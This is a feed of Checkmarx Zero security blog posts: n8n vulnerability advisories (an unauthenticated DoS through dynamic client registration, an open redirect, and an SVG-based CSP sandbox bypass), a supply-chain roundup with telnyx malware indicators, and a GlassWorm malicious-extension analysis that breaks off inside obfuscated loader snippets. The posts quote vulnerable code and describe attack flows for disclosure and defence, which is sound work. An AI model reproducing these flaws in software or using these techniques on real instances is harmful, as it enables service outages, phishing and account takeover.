Checkmarx https://checkmarx.com/ The world runs on code. We secure it. Tue, 12 May 2026 13:53:29 +0000 en-US hourly 1 https://checkmarx.com/wp-content/uploads/2024/06/cropped-cx_favicon-32x32.webp Checkmarx https://checkmarx.com/ 32 32 OverDoS: Taking Down Over 70,000 n8n Instances https://checkmarx.com/zero-post/n8n-overdos-vulnerability-cve-2026-42236/ Tue, 12 May 2026 13:53:27 +0000 https://staging.checkmarx.com/?post_type=zero-post&p=108678 @import url("https://cmxiv.net/cxzero/cxzero-blog-styles-inject.extracted.css"); @import url("https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.11.1/styles/vs2015.min.css");

OverDoS Executive Summary

The Checkmarx Zero team has discovered vulnerabilities in n8n, most notably an unauthenticated denial-of-service flaw that allows attackers to take down any internet-facing n8n instance (or indeed any instance an attacker can connect to). Tracked as CVE-2026-42236, this vulnerability has been assigned a High severity rating with a CVSS 4.0 base score of 8.7 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N). We refer to this specific vulnerability as “OverDoS”.

Alongside OverDoS, we also identified a moderate-severity Open Redirect, tracked as CVE-2026-42230, with a CVSS 4.0 base score of 5.1 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N).

CVEs were published on 26. April 2026. Both issues were reported to n8n and patched promptly; our thanks to the n8n team for their exemplary handling of these issues.

“The Checkmarx Zero team discovered a critical Denial of Service in n8n, called OverDoS, that lets attackers take down any n8n instance they can connect to.”

Vulnerable versions:

  • < 1.123.32
  • < 2.18.1
  • < 2.17.4

Patched versions:

Users should upgrade to one of the following patched versions:

  • >= 1.123.32
  • >= 2.18.1
  • >= 2.17.4

Note: No setting or feature toggle mitigates this issue; for internet-facing instances, upgrading is the only fix. If upgrading is not immediately possible, restrict network access to the instance (e.g., VPN, SSO-gated reverse proxy, or IP allowlist).

Exploiting n8n OverDoS: quick video demo

Let’s start with a quick demo showing how the database size increases as unauthenticated requests are sent to the server, leading eventually to a filled database and a non-responsive instance, denying further service. This is what it looks like to exploit OverDoS:

A video demo of exploiting OverDoS

Technical Analysis of OverDoS and Open Redirect vulnerabilities

Checkmarx Zero routinely researches popular open-source tools and frameworks including n8n, a widely used no-code workflow automation framework. (We’ve previously published a stored XSS stemming from a CSP sandbox bypass in the n8n system, for example.)

In one of our recent projects, we uncovered a high-severity unauthenticated Denial of Service (DoS) vulnerability, a moderate-severity Open Redirect flaw, and a few additional risks that organizations adopting n8n should be aware of. All of them trace back to an overly permissive feature that allows MCP clients to connect to an n8n instance: Dynamic Client Registration (DCR).

Dynamic Client Registration (DCR)

In a typical OAuth setup, registering a client is a manual job: an administrator provisions each client on the authorization server in advance, exchanging credentials and metadata out of band before the client can authenticate anyone. That works fine when you know your clients ahead of time — but this process doesn’t hold if you want clients to onboard themselves at runtime.

That’s the gap Dynamic Client Registration (DCR), defined in RFC 7591, was designed to fill. The short version is that any client can register itself against the authorization server by sending a POST request to a server endpoint (often, a publicly-accessible one), with a JSON payload describing itself (including parameters like redirect_uris, client_name, grant_types, and so on).

Just Flexible Enough to Snap Back in Your Face

Every property that makes DCR useful is also a potential entry point for an attacker’s payload.

The user input sent to that public endpoint is reused across the server’s flows. It gets persisted in a database, rendered in consent screens, used to redirect the user to attacker-supplied links, and more. Every one of those touchpoints is a place where attacker-controlled metadata can be weaponized if it isn’t tightly handled. The specifications themselves leave most of this to the implementer — rate limiting, URI validation, and endpoint authentication. All of which is a polite way of saying that every DCR-enabled server is on its own, and implementing any of those wrong (or not at all) is exactly what attackers look for.

n8n Implementation

n8n provides a DCR endpoint as part of it’s MCP (Model Context Protocol) features. It exposes MCP OAuth client registration endpoint on every default instance — and, crucially, the MCP enable/disable toggle that operators use to “turn the feature off” doesn’t block registration. It only prevents use. The endpoint stays open, anonymous, and writable whether the MCP feature is enabled or not.

The only things standing between an attacker and arbitrary writes to the database are two settings: a cap on request body size (via the N8N_PAYLOAD_SIZE_MAX environment variable, which has a 16MB default value), and a per-IP rate limit of 10 requests every 5 minutes. Multiply those together, and a single IP can shovel ~160 MB of attacker-controlled metadata into storage every five minutes.

And that per-IP restriction becomes useless as an anti-DoS measure the moment an attacker reaches for cloud infrastructure, connects via rotating VPNs, or any of the dozen other simple ways attackers can make their connections come from multiple IPs. Disk and memory are the limits; nothing in the registration path enforces a real ceiling.

OverDoS Vulnerable Blast Radius

A single Shodan query — http.title:"n8n.io - Workflow Automation" — returns just over 70,000 publicly reachable n8n instances, and that number is a floor, not a ceiling.

Every one of these instances is vulnerable by default. The bug doesn’t require a misconfiguration to trigger; the registration endpoint ships exposed, anonymous, and writable on a fresh install. And at the time of disclosure, there’s no operator-side mitigation that meaningfully shrinks that number.

Redacted image of Shodan query results page

Beyond OverDoS: Open Redirects and Scamming Users

The DoS is the loudest thing the registration endpoint hands an attacker, but it isn’t the only thing.

Open Redirect on Deny

Remember the attacker-controlled redirect_uri from the registration payload? n8n honors it on approval — that’s the OAuth flow doing its job. But it also honors it on deny. So the handleDeny handler sends the user to the same registered URI in both cases. Approved? You go to the attacker. Refused? Yep, still go to the attacker. There’s no third door.

const handleDeny = async () => {
	try {
		const response = await consentStore.approveConsent(false);
		window.location.href = response.redirectUrl;

The fix is as simple as changing one line: on deny, redirect to the n8n dashboard. There’s no reason to honor a destination chosen by the party that the user just declined to trust.

Dressing Up the Consent Dialog

Clicking Allow grants the MCP full access to the user’s workflows — that’s the consent flow working. The interesting question is everything that happens before the click.

And there’s a cheap move an unauthenticated attacker can pull. The client_name is attacker-supplied and rendered directly in the consent dialog. And so is the icon — n8n derives it through a simple substring match against a list of known integrations. Drop “Claude” into the client name field, and your malicious client shows up in the consent dialog with Anthropic’s logo next to it.

const clientIcon = computed(() => {
	const clientName = clentDetails.value?.clientName?.toLowerCase() ?? '';
	if (ANTHROPIC_CLIENTS.some((name) => clientName.includes(name))) {
		return 'anthropic';
	} else if (LOVABLE_CLIENTS.some((name) => clientName.includes(name))) {
		return 'lovable';
	} else {
		return 'mcp';
	}
});

This isn’t a bug in the strict sense. It’s the DCR pattern paying out exactly what it promises: whatever metadata the client supplies, the server trusts and renders. It doesn’t take much imagination to see how this plays into a social engineering attack—one that ends with an attacker listing and executing the victim’s workflows.

Could AI security tools find the OverDOS vulnerability?

No zero-day analysis today feels complete without asking what AI tools would find on the same target. The CVE had been public for two weeks at the time of running these tests, which may affect their accuracy — but here’s what Claude Opus and Codex 5.5 found when reviewing this code.

Claude Opus

We previously pointed Opus at the full n8n repository and asked it to find vulnerabilities — it missed this one. We wanted to see whether it could catch the issue when directed at the specific module and controller where the vulnerability lives.

/Security-Review the OAuth Controller

With a more focused scope, it succeeded:

Screenshot showing a code vulnerability report titled 'Open dynamic client registration with weak rate limit'. It includes a code snippet for '/mcp-oauth/register' with 'skipAuth: true' and an IP rate limit, and text explaining that this allows public, ungated client registration without an initial access token, enabling attackers to persist client data.

/Security-Review the MCP Module

With the controller-level scan working, we widened the scope to the full MCP module. Opus still caught the issue:

Screenshot showing chat segment titled “H-4. Open, unauthenticated dynamic client registration.” The location is listed as mcp.oauth.controller.ts lines 30–34 and mcp-oauth-service.ts lines 64–86. Body text explains that the /mcp-oauth/register endpoint is skipAuth: true with only IP rate-limiting of 10 requests per 5 minutes. registerClient accepts arbitrary client_name and redirect_uris with no validation, allowing no scheme, no length limit, no character restrictions, and no host validation.

Codex 5.5

Security Analysis at the Controller Level

At the controller level, Codex 5.5 (with extra-high reasoning) flagged the issue. I — and the n8n team — disagree with Codex on the severity rating given the massive potential impact, but the vulnerability was correctly identified:

Screenshot of chat session with a bullet labeled “Low/Medium: public dynamic registration can grow persistent DB state indefinitely.” It states that mcp.oauth.controller.ts line 30 allows unauthenticated writes to oauth_clients. IP rate limiting exists, but there is no ownership, expiry, cleanup, or global cap, so a distributed attacker could still fill the table with clients. Suggested mitigations include client TTL or garbage collection for unconsented clients, stricter body and field limits, or feature-gating dynamic registration.

Security Analysis at the MCP Module Level

With the same settings but a widened scope to the module-level scan, Codex flagged the DCR pattern as a social engineering risk (phishing via the consent screen) but missed the DoS vulnerability:

Chat screenshot showing a user asking whether DoS via the public dynamic client registration endpoint makes the project vulnerable and whether it was mentioned in prior findings. The assistant replies that it would add this as a finding, clarifying that DCR DoS was not explicitly mentioned before and that prior findings only touched DCR in the consent and phishing context. The response says the project is potentially vulnerable to storage or registration DoS because /mcp-oauth/register is public with skipAuth: true and each successful request inserts a persistent row into oauth_clients. It notes an IP rate limit of 10 requests per 5 minutes, but says that limit is only attached when inProduction is true and does not prevent distributed abuse or long-term database growth.

Credit to the n8n team’s partnership

One thing worth repeating: n8n takes security seriously. This is our third report to them, and every time the team has been responsive, communicative, and quick to ship fixes.

Disclosure Timeline

Open Redirect — CVE-2026-42230

  • Feb 23, 2026 — Reported to n8n
  • Mar 4, 2026 — Report acknowledged
  • Apr 22, 2026 — Fix implemented and verified
  • Apr 26, 2026 — CVE-2026-42230 assigned

Denial of Service — CVE-2026-42236

  • Mar 5, 2026 — Reported to n8n
  • Mar 17, 2026 — Report acknowledged
  • Apr 22, 2026 — Fix implemented and verified
  • Apr 26, 2026 — CVE-2026-42236 assigned

]]>
OverDoS: Taking Down Over 70,000 n8n Instances - Checkmarx This document © Checkmarx, all rights reserved. OverDoS Executive Summary The Checkmarx Zero team has discovered vulnerabilities in n8n, most notably an unauthenticated denial-of-service flaw that allows attackers to take down any internet-facing n8n instance (or indeed any instance an att OverDoS hiccup-branch checkmarx-zero-shodan-results-n8n-overdos checkmarx-zero-n8n-overdos-claude-found-narrow checkmarx-zero-n8n-overdos-claude-found-broad checkmarx-zero-n8n-overdos-codex-found-narrow checkmarx-zero-n8n-overdos-codex-failed-broad
Same Origin, Same Tricks: Bypassing n8n’s CSP Sandbox (CVE-2026-27578) https://checkmarx.com/zero-post/same-origin-same-tricks-bypassing-n8ns-csp-sandbox-cve-2026-27578/ Mon, 06 Apr 2026 23:00:00 +0000 https://staging.checkmarx.com/?post_type=zero-post&p=108007 @import url("https://cmxiv.net/cxzero/cxzero-blog-styles-inject.extracted.css"); @import url("https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.11.1/styles/vs2015.min.css");

Overview of CVE-2026-27578: Stored XSS in open-source workflow platform n8n

Checkmarx Zero has discovered a stored cross-site scripting (XSS) vulnerability (CVE-2026-27578) in n8n, the popular open-source workflow automation platform. The vulnerability allows an authenticated attacker to bypass n8n’s existing Content Security Policy (CSP) sandbox protections by abusing the Webhook Response functionality with content types not on the denylist (e.g., image/svg+xml).

Impact

Successful exploitation enables arbitrary JavaScript execution in the context of a victim’s authenticated n8n session. This can lead to session hijacking, credential theft, and full account takeover.

Affected Users

Users running n8n versions:

  • < 1.123.22
  • >= 2.0.0 < 2.9.3
  • >= 2.10.0 < 2.10.1

The issue is tracked as CVE-2026-27578(Stored XSS via Various Nodes, CVSS=8.5) and was addressed in versions:

  • 2.10.1
  • 2.9.3
  • 1.123.22

Remediation

The issues have been fixed in n8n versions 2.10.1, 2.9.3, and 1.123.22. Users should upgrade to one of these versions or later to remediate the vulnerability.

Get e-mail updates about new Checkmarx Zero research
visual

n8n CVE-2026-27578 Vulnerability Technical Drilldown

Introduction

n8n is an open-source workflow automation platform that has become one of the most widely adopted tools in its category, with over 178K GitHub stars, and a rapidly growing community of self-hosted and cloud users. It enables developers, DevOps engineers, and increasingly non-technical teams to connect APIs, automate business processes, and build internal tooling through a visual, node-based interface.

Its flexibility is a double-edged sword. n8n workflows can receive external HTTP requests via webhooks, execute arbitrary code, interact with databases, and return custom HTTP responses, all configured through the UI. This power makes n8n a compelling target, especially in multi-user or shared environments.

Checkmarx Zero discovered and responsibly disclosed a Cross-Site Scripting (XSS) vulnerability in some versions of n8n via the “Respond to Webhook” node.

n8n’s maintainers had already recognized the risk of XSS via webhook responses and implemented a mitigation in the form of a “CSP Sandbox” control, attempting to isolate untrusted data from the page. However, the vulnerability Checkmarx Zero uncovered in our research allows attackers to bypass that sandbox and conduct an XSS attack anyway.

We explain below how that mitigation was bypassed, and why the previous underlying design choice, a denylist of dangerous content types, leaves the door open to further abuse.

High-Level Flow

n8n’s “Respond to Webhook” node allows a workflow author to define a custom HTTP response, including headers, status code, and body, that is returned to the caller when a webhook is triggered.

The problem arises because this response is served from the n8n application’s own origin. If an attacker can control the response body and Content-Type header, and if the browser interprets that response as renderable content, any embedded scripts will execute with full access to the n8n browser context, including cookies, session storage, and the Document Object Model (DOM).

The attack flow is straightforward:

  1. An authenticated attacker creates (or modifies) a workflow containing a Webhook trigger and a “Respond to Webhook” node.
  2. The response is configured to return a body containing a malicious SVG with embedded JavaScript, and a Content-Type of image/svg+xml.
  3. The attacker waits for the privileged user to access the webhook URL from the tampered workflow, or just shares the webhook URL with a victim (a legitimate n8n user or administrator).
  4. When the victim visits the URL in their browser, the SVG is rendered, the JavaScript executes on the n8n origin, and the attacker can exfiltrate session data or perform actions on the victim’s behalf.

The CSP Sandbox

The Content Security Policy (CSP) header is a browser security mechanism that controls how web content behaves and interacts with external resources. The CSP’s sandbox directive places the requested resource into a restricted environment, similar to the sandbox attribute on an <iframe>. This allows the developer to add strict limitations on the page’s capabilities, such as blocking pop-ups, preventing the execution of plugins and scripts, and assigning a unique opaque origin to the content (effectively restricting access to the original origin resources).

In scenarios like this, where n8n needs to prevent webhook-served content from accessing resources on the same origin (where the “Respond to Webhook” node runs), the CSP sandbox directive is the way to go.

The Existing Mitigation and Why It Failed

n8n’s developers were aware of the risk. The codebase includes a function called isHtmlRenderedContentType that checks the Content-Type of a webhook response against a denylist of MIME types known to be rendered as HTML by browsers. When a match is found, n8n adds a CSP sandbox to the response, which should theoretically protect users from malicious content served through the “Respond to Webhook” node.

For example, a response with Content-Type: text/html is correctly intercepted. The CSP sandbox prevents scripts served by the “Respond to Webhook” node from accessing resources, such as cookies, that belong to the user on the same origin.

A response returned by “Response to Webhook” node with the header Content-Type: text/html

However, image/svg+xml was not included in this denylist. SVG is a first-class citizen in the browser rendering engine. It is an XML document that is rendered inline as an image, but it supports the full SVG DOM which, critically, can contain <script> elements that execute JavaScript in the context of the document’s origin. By setting the response Content-Type to image/svg+xml and embedding a script payload in the SVG body, the CSP sandbox was bypassed entirely:

The Deeper Problem: Denylist vs. Allowlist

The SVG bypass is a clear and practical vulnerability, but it is symptomatic of a more fundamental design issue: the use of a denylist to identify dangerous content types.

The old mitigation resides in the html-sandbox.ts file.

Sandbox is only applied if the Content-Type used is one of the above

A denylist approach requires the developers to anticipate every MIME type a browser might render as executable content, now and in the future. This is a losing game. Browser behavior around content types is complex, inconsistent across vendors, and subject to change. Two areas illustrate this risk:

  • Content-Type interpretation quirks: Different browsers handle unusual or malformed Content-Type values differently, and some of these discrepancies can be exploited to execute scripts. BlackFan’s content-type research catalogs numerous such cases, including types and payloads that trigger XSS across specific browser versions.
  • MIME type sniffing: Browsers may ignore the declared Content-Type header and infer the actual type from the response body. This behavior can cause a response declared as a benign type to be rendered as HTML or script. A detailed treatment of MIME sniffing edge cases is available in Huli’s “Beyond XSS” research.

Any of these edge cases could yield additional bypasses of the denylist. The recommended approach is to replace the denylist with a strict allowlist of known-safe MIME types (for instance, based on MDN’s common MIME types reference and the references mentioned above). All content types not explicitly on the allowlist should be treated as potentially dangerous and served within the CSP sandbox.

An even better solution, though, is to simply add the CSP sandbox header to any webhook response returned by the “Respond to Webhook” node. This is the mitigation chosen by the n8n team, as there are no real benefits in having specific webhook responses without the sandbox.

The function isHtmlRenderedContentType was removed from html-sandbox.ts, and now the header is set in every response, unless protection is explicitly disabled.

Could AI have found the n8n CVE-2026-27578?

The short answer is maybe: it’s possible, but definitely not guaranteed.

As you may know, our team recently conducted a deep dive into zero-day identification using LLMs (Hunting 0-days with Opus 4.6, The Unearned Confidence).

One of the techniques we explored was asking Claude to analyze historical CVE patches to determine whether the fix truly resolved the vulnerability, or quietly introduced a new one.

This Stored XSS was one such example. We provided Claude with a previous CVE, its fix, and some additional context:

We did this a few times with different models and got a bunch of different, inconsistent results.
Here are just two examples (prompts were identical):

Opus 4.6 – First Try

First analysis completly miss the vulnerability

Opus 4.6 – Second Try

Opus 4.6’s second analysis was much more accurate

Sonnet Analysis

Sonnet analysis was right, but for the wrong reasons

So was AI right? Not really…

Let’s be clear: the pattern in that code sample, a denylist, is something most security professionals would at least have a gut feeling about. Denylists are notoriously difficult to implement correctly in many contexts, especially when combined with the well-known SVG bypass technique for XSS.

Yet when this single file was analyzed by multiple LLMs, the denylist was often not flagged. Even when the same file was analyzed multiple times by the same model, it did not consistently identify the vulnerable pattern. Honestly? We expected it to catch this.

This is another reminder that an autonomous AI agent, operating without a security professional applying critical thinking and domain expertise, is not enough. In some cases, it can even create a false sense of security while real issues remain undetected.

Summary of n8n CVE-2026-27578

A CSP sandbox bypass in n8n’s webhook response handling was found and fixed. The platform’s existing XSS mitigation relied on a denylist of content types deemed capable of rendering HTML. By responding with Content-Types absent from the denylist but capable of executing JavaScript in the browser, an authenticated attacker could run arbitrary scripts on the n8n origin, leading to session hijacking and account takeover.

Beyond the specific SVG vector, this research highlights the inherent fragility of denylist-based content type filtering. Browser MIME sniffing behavior and cross-browser content type interpretation quirks present an open-ended set of potential bypass vectors.

Organizations running affected versions of n8n should upgrade to 2.10.1, 2.9.3, or 1.123.22 immediately.

CVE-2026-27578 Responsible Disclosure Timeline

Date Event
Feb 10, 2026 Vulnerability reported to the n8n security team.
Feb 11, 2026 Additional context on denylist risks shared with n8n
Feb 11, 2026 n8n acknowledged the report & accept it
Feb 25, 2026 Fix released in n8n 2.10.1, 2.9.3, 1.123.22.
Feb 25, 2026 Published: CVE-2026-27578 & Advisory

]]>
right visual visual image-20260222-151427 image-20260222-151449 image-20260303-105512 image-20260309-105503 image-20260309-105241 image-20260309-105959
Rapid Exploitation and Clever Malware in the Supply Chain, Last Week In AppSec (2026-04-02) https://checkmarx.com/zero-post/rapid-exploitation-and-clever-malware-in-the-supply-chain-last-week-in-appsec-2026-04-02/ Thu, 02 Apr 2026 07:17:00 +0000 https://staging.checkmarx.com/?post_type=zero-post&p=108049 @import url("https://cmxiv.net/cxzero/cxzero-blog-styles-inject.extracted.css"); @import url("https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.11.1/styles/vs2015.min.css");

Overview of the Last Week In AppSec

It was an exciting week for Supply Chain Security: and we mean “exciting” in the “may you live in interesting times” kind of way.

You almost certainly heard about the Axios compromise that led to remote access trojan installation, so we’re not going to discuss that further here. What you might not have heard of:

  • Langflow code injection CVE from the prior week got added to the CISA KEV (Known Exploited Vulnerabilities) database just days after disclosure.
  • Telnyx Python framework infected with malware, with a surprising abuse of .wav audio files to conceal malicious payloads.

Langflow CVE-2026-33017 added to CISA KEV

The popular low-code AI and RAG framework Langflow’s recent code injection vulnerability was added to the CISA KEV (Known Exploited Vulnerabilities) database this past week, demonstrating that this issue from earlier in the week is appetizing to adversaries.

The core issue, as described in CVE-2026-33017, arises because attacker-controlled POST requests to /api/v1/build_public_tmp/{flow_id}/flow endpoints are passed directly to exec() without any sandboxing.

Affected langflow services through (and including) 1.8.2
Fixed langflow versions 1.9.0 and newer

Telnyx framework versions compromised

The telnyx framework, a Python framework for handling carrier-grade voice and related functions, was compromised in a supply chain attack last week.

Compromised versions (4.87.1 and 4.87.2) retrieved a spec-valid .wav audio file from a remote host (thus avoiding triggering suspicion), which had executable code hidden inside the audio frames. The payload varies, but harvests information from the infected computer and exfiltrates it via an HTTP POST to 83[.]142[.]209[.]203[:]8080/

Fortunately, the community identified and removed the affected versions quickly; but private registries and similar package proxies may retain the compromised revisions, so investigation and response is important.

Checkmarx Malicious Package Identification data for affected versions of telnyx
[
  {
    "type": "pypi",
    "name": "telnyx",
    "status": "SCANNED",
    "version": "4.87.1",
    "ioc": [
      "83.142.209.203"
    ],
    "risks": [
      {
        "id": "097bc3bb508a0d30d69f8fa84fbf7541fd1d42e3",
        "description": "This package downloads a harmful file.\n### About\n\nUsing a dynamic analysis environment (also known as a Sandbox) we can monitor filesystem activity such as newly created files within the lifecycle of the code package.\n\nOnce new files are created, our technology analyzes each of the newly created files. In case a file is harmful, this risk is shown. \n\n![infographic](https://checkmarx-scs-cdn.s3.amazonaws.com/sca/infographics/harmful-file-download.png)",
        "title": "Harmful File Download",
        "score": 9
      },
      {
        "id": "53897b25c15efe005b722f26867307ef103445d5",
        "description": "This package exfiltrates computer and operating system information\n### About\n\nData exfiltration may be done in numerous ways such as through HTTP requests, DNS tunneling, various webhooks and more. It is common by attackers to try to exfiltrate sensitive information such as:\n- Credentials\n- Environment variables\n- SSH keys\n- Authentication tokens\n- Computer and operating system information\n- Network settings\n\n![infographic](https://checkmarx-scs-cdn.s3.amazonaws.com/sca/infographics/data-exfiltration.png)",
        "title": "Data Exfiltration",
        "score": 6
      },
      {
        "id": "d2994ee8b15325588d97ca045e8d88e369222f96",
        "description": "This package was manually inspected by a security researcher and flagged as malicious\n### About\n\nClassifying malicious packages is an internal process, analysis is done at scale automatically via multiple engines. Once there's a risk suspicion, this is forwarded to a security researcher for a manual evaluation.\n\nAttackers take advantage of the excessive trust in the open-source ecosystem and launch software supply chain attacks in the form of code packages.   \n\nThe risk of having a package with a malicious payload is high. It's a common behavior for most of the malicious payloads to execute itself automatically upon installing or using the package. \n\n![infographic](https://checkmarx-scs-cdn.s3.amazonaws.com/sca/infographics/malicious-package.png)\n\nWhile some dependency vulnerabilities have the privilege to be kept as known issue due to risk-management, same does not apply in the case of a malicious package, and it should be removed with the highest priority.",
        "title": "Malicious Package",
        "score": 10
      }
    ]
  },
  {
    "type": "pypi",
    "name": "telnyx",
    "status": "SCANNED",
    "version": "4.87.2",
    "ioc": [
      "83.142.209.203"
    ],
    "risks": [
      {
        "id": "4241fa0d0251fb37cf5aa79b09177696a00d429c",
        "description": "This package exfiltrates computer and operating system information\n### About\n\nData exfiltration may be done in numerous ways such as through HTTP requests, DNS tunneling, various webhooks and more. It is common by attackers to try to exfiltrate sensitive information such as:\n- Credentials\n- Environment variables\n- SSH keys\n- Authentication tokens\n- Computer and operating system information\n- Network settings\n\n![infographic](https://checkmarx-scs-cdn.s3.amazonaws.com/sca/infographics/data-exfiltration.png)",
        "title": "Data Exfiltration",
        "score": 6
      },
      {
        "id": "43b4cfb9025057d57e99f5d4deeb3f01e5cc5b3e",
        "description": "This package was manually inspected by a security researcher and flagged as malicious\n### About\n\nClassifying malicious packages is an internal process, analysis is done at scale automatically via multiple engines. Once there's a risk suspicion, this is forwarded to a security researcher for a manual evaluation.\n\nAttackers take advantage of the excessive trust in the open-source ecosystem and launch software supply chain attacks in the form of code packages.   \n\nThe risk of having a package with a malicious payload is high. It's a common behavior for most of the malicious payloads to execute itself automatically upon installing or using the package. \n\n![infographic](https://checkmarx-scs-cdn.s3.amazonaws.com/sca/infographics/malicious-package.png)\n\nWhile some dependency vulnerabilities have the privilege to be kept as known issue due to risk-management, same does not apply in the case of a malicious package, and it should be removed with the highest priority.",
        "title": "Malicious Package",
        "score": 10
      },
      {
        "id": "78aeaedb24de07ca9cdfd93d18d5ee0ad013a773",
        "description": "This package downloads a harmful file.\n### About\n\nUsing a dynamic analysis environment (also known as a Sandbox) we can monitor filesystem activity such as newly created files within the lifecycle of the code package.\n\nOnce new files are created, our technology analyzes each of the newly created files. In case a file is harmful, this risk is shown. \n\n![infographic](https://checkmarx-scs-cdn.s3.amazonaws.com/sca/infographics/harmful-file-download.png)",
        "title": "Harmful File Download",
        "score": 9
      }
    ]
  }
]

Researchers at JFrog have published a very nice technical analysis of the malware for those interested in the tactics in use.

]]>
GlassWorm Targets Developer IDEs Again, Hiding Staged Malware Behind Runtime-Rebuilt Loaders https://checkmarx.com/zero-post/glassworm-targets-developer-ides-again-hiding-staged-malware-behind-runtime-rebuilt-loaders/ Mon, 23 Mar 2026 13:00:00 +0000 https://staging.checkmarx.com/?post_type=zero-post&p=107815 @import url("https://cmxiv.net/cxzero/cxzero-blog-styles-inject.extracted.css"); @import url("https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.11.1/styles/vs2015.min.css");

The Checkmarx Zero team recently identified a new set of malicious extensions published to both the VS Code and Open VSX marketplaces, linked to the ongoing GlassWorm campaign we’ve previously discussed on social media.

What makes this wave notable is the way the GlassWorm campaign continues to evolve while preserving the same core operating model. It’s more than just malicious content in IDE extensions. Instead of compromising an already trusted publisher account, as seen in some earlier incidents, the operators behind this cluster mostly relied on impersonation and lookalike publishing. Several of the extensions mimicked well-known legitimate tools, while others mixed expected functionality with hidden malicious logic to appear credible to developers.

Across all analyzed samples, despite differences in obfuscation and packaging, the malicious code ultimately converged on the same staged execution flow. The extensions rebuilt Solana RPC infrastructure at runtime, recovered next-stage payload locations from Solana memos, applied regional evasion checks, and dynamically executed additional payloads.

This behavior closely aligns with previously reported GlassWorm activity. In fact, one of the VS Code samples still used invisible Unicode concealment and reused a Solana wallet address seen in earlier campaigns, providing a direct link to prior GlassWorm variants.

In total, the 13 malicious extensions identified in this cluster accumulated almost 50k downloads. Although the samples used different runtime decoding chains, they all converged on the same underlying execution flow.

Want important security news in your inbox, without marketing fluff?
visual

GlassWorm infected extensions list

The following GlassWorm-related extensions were identified as having this particular delivery mechanism:

Extension Version Platform Downloads Release Date Impersonation
pyscopexte.pyscope-extension 1.1.403 Open VSX 4208 Mar 3, 2026 _______
aligntool.extension-align-professional-tool 1.4.6 Open VSX 3168 Mar 5, 2026 chouzz.vscode-better-align
rubyideext.ruby-ide-extension 0.10.0-alpha.2 Open VSX 1158 Mar 5, 2026 _______
runnerpost.runner-your-code 0.13.2 Open VSX 4300 Mar 5, 2026 formulahendry.code-runner
aadarkcode.one-dark-material 3.20.1 Open VSX 7768 Mar 6, 2026 zhuangtongfa.material-theme
lyu-wen-studio-web-han.better-formatter-vscode 1.1.6 Open VSX 10495 Mar 6, 2026 lyuwenhan.code-formatter-and-minifier
kwitch-studio.auto-run-command-extension 1.6.2 Open VSX 7805 Mar 6, 2026 synedra.auto-run-command
dopbop-studio.vscode-tailwindcss-extension-toolkit 0.14.29 Open VSX 5664 Mar 6, 2026 bradlc.vscode-tailwindcss
blockstoks.easily-gitignore-manage 0.10.2 Open VSX 938 Mar 9, 2026 codezombiech.gitignore
federicanc.dotenv-syntax-highlighting 1.0.3 Open VSX 2100 Mar 10, 2026 _______
myexttool.my-command-palette-extension 0.0.4 Open VSX 320 Mar 12, 2026 _______
pessa07tm.my-js-ts-auto-commands 1.0.4 Open VSX 1824 Mar 12, 2026 _______
silvia68.console-log-generator 1.0.1 Open VSX 254 Mar 17, 2026 _______

The above is a list of packages using this novel technique for infection and stealth, and not a comprehensive list of GlassWorm campaign packages.

Technical Analysis

GlassWorm is a self-propagating program that infects developer workstations using primarily Visual Studio Code extensions. A developer who installs an infected extension can expect credentials to things like cryptocurrency wallets, GitHub, and various package registries (like npm, PyPI, etc.) to be exfiltrated. The GlassWorm malware also attempts to establish a level of remote access for the attacker, allowing the attacker to use the developer’s machine as a proxy for future attack activities.

  • Stage 0 establishes the infection, installs and configures infrastructure for delivering the core payload, etc.
  • Stage 1 downloads the core payload from the internet, obfuscates its activity, harvests developer credentials, and prepares the infected machine for the final stage
  • Stage 2 exfiltrates recovered credentials and other sensitive data to the attacker, compromises browser data, and establishes a persistent access for future use by the attacker.

Stage 0

Runtime reconstruction of Solana infrastructure

One problem malware often encounters in its goal to infect target machines is that defenders are eventually able to identify endpoints that the malware intended to use for exfiltration, and block scripts and executables that contain references to those endpoints.

The first stage of the GlassWorm malware is designed to reduce early detection by dynamically reconstructing a list of Solana JSON-RPC endpoints and using them to query on-chain transaction data instead of relying on hardcoded infrastructure. This allows the malware to interact with Solana nodes through the standard RPC interface while avoiding a static list of endpoints that defenders could more easily flag. Across the samples, this is done through layered obfuscation, such as rotated string arrays, wrapper lookup functions, and custom decoders. While the exact implementation differs from one extension to another, the result is the same: the malware reproduces a list of Solana RPC providers and uses them as attack infrastructure without triggering most kinds of early-detection tools:

// resolves to:
// https://api.mainnet-beta.solana.com

function m(C, s, S, V) {
  return A(C - 0x56, s - 0x47, s, C - -0xcc);
}

const endpoint =
  m(0x15, 'Opf5', -0x2d, 0x57) +
  m(0x77, 'Ib0M', 0x76, 0x5b) +
  'beta.solan' +
  'a.com';

// Note: this snippet was simplified from the original for readability.

The full endpoint list resolves to multiple Solana RPC providers:

  • https[:]//api[.]mainnet-beta[.]solana[.]com
  • https[:]//solana-mainnet[.]gateway[.]tatum[.]io
  • https[:]//go[.]getblock[.]us/86aac42ad4484f3c813079afc201451c
  • https[:]//solana-rpc[.]publicnode[.]com
  • https[:]//api[.]blockeden[.]xyz/solana/KeCh6p22EX5AeRHxMSmc
  • https[:]//solana[.]drpc[.]org
  • https[:]//solana[.]leorpc[.]com/?api_key=FREE
  • https[:]//solana[.]api[.]onfinality[.]io/public
  • https[:]//solana[.]api[.]pocket[.]network/

The malware iterates through these providers using a fallback infrastructure pattern: if one endpoint is unreachable or returns an error, it catches the exception, pauses briefly, and tries the next provider in the list.

Solana address reconstruction and RPC query

Once the Solana RPC infrastructure is rebuilt, GlassWorm uses a hardcoded (but obfuscated) wallet address to request transaction metadata through JSON-RPC. The returned address is then queried to find transactions with memo data.

// resolves to:
// 6YGcuyFRJKZtcaYCCFba9fScNUvPkGXodXE1mJiSzqDJ

function y(C, s, S, V) {
  return D(C - -0x380, s);
}

function x(C, s, S, V) {
  return D(s - 0x40, S);
}

const solanaAddress =
  x(0x1da, 0x1f0, '&sYe', 0x230) +
  y(-0x185, 'MxE^', -0x150, -0x196) +
  y(-0x17b, 'vx&D', -0x122, -0x196) +
